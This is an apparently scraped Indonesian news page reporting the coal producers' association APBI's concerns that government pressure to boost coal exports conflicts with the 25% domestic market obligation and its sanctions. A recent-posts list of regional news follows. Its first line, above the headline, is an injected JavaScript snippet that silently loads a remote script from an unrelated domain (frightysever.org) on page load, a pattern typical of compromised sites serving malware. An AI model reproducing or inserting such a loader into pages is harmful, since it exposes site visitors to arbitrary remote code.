(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

APBI: Ekspor Batu Bara Dilematis


Keinginan pemerintah agar ekspor batu bara digenjot menjadi dilema karena produsen terikat kewajiban pasokan minimal untuk dalam negeri sebesar 25%.

Ketua Umum Asosiasi Pertambangan Batubara Indonesia (APBI), Pandu Sjahrir mengatakan pemerintah sudah menginstruksikan agar para produsen batu bara bisa menambah porsi ekspornya sejak akhir tahun lalu. Hal tersebut bertujuan untuk memperbaiki neraca transaksi berjalan yang mengalami defisit cukup dalam.

Namun, para produsen memiliki kewajiban untuk memasok ke pasar dalam negeri atau domestic market obligation/DMO sebesar 25% dari produksi. Dengan demikian, apabila porsi ekspor ditambah, maka pasokan domestik pun harus ikut ditambah.

Yang menjadi masalah, kebutuhan batu bara di dalam negeri masih belum tinggi. Di sisi lain, apabila produsen batu bara tidak bisa memenuhi DMO minimal 25%, maka akan terkena sanksi pada tahun berikutnya.

“Disuruh genjot produksi sejak Desember tahun lalu, tapi urusan DMO gimana? Ini yang jadi susah,” katanya, baru-baru ini, seperti diwartakan tempo.co.id.

Seperti diketahui, Kementerian ESDM mempertahankan persentase kewajiban DMO tahun ini sebesar 25% dari produksi yang disetujui.

Berdasarkan Keputusan Menteri ESDM No. 78 K/30/MEM/2019, persentase minimal tersebut akan diwajibkan untuk para pemegang Perjanjian Karya Pengusahaan Pertambangan Batu Bara (PKP2B) dan Izin Usaha Pertambangan (IUP) yang telah memasuki tahap operasi produksi.

Bagi perusahaan yang tidak memenuhi persentase minimal DMO tersebut, akan dikenakan sanksi berupa pemotongan besaran produksi dalam rencana kerja dan anggaran biaya (RKAB) tahun depan. Menteri pun dapat menunjuk langsung produsen batu bara untuk memenuhi kebutuhan pengguna batu bara yang kesulitan mendapat pasokan.

Adapun keputusan yang ditetapkan pada 6 Mei 2019 tersebut berlaku surut sejak 1 Januari 2019. Dengan persentase sebesar 25%, maka kewajiban DMO tahun ini minimal 122,28 juta ton. Pasalnya, persetujuan produksi yang diberikan Kementerian ESDM tahun ini sebanyak 489,13 juta ton.

Sepanjang tahun lalu, realisasi DMO sebanyak 115 juta ton. Jumlah tersebut lebih rendah dari target sebanyak 121 juta ton. Meskipun begitu, Kementerian ESDM menyatakan realisasi DMO tersebut telah mencukupi kebutuhan dalam negeri. (tmp)

Reporter:Tmp
Editor:KK

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.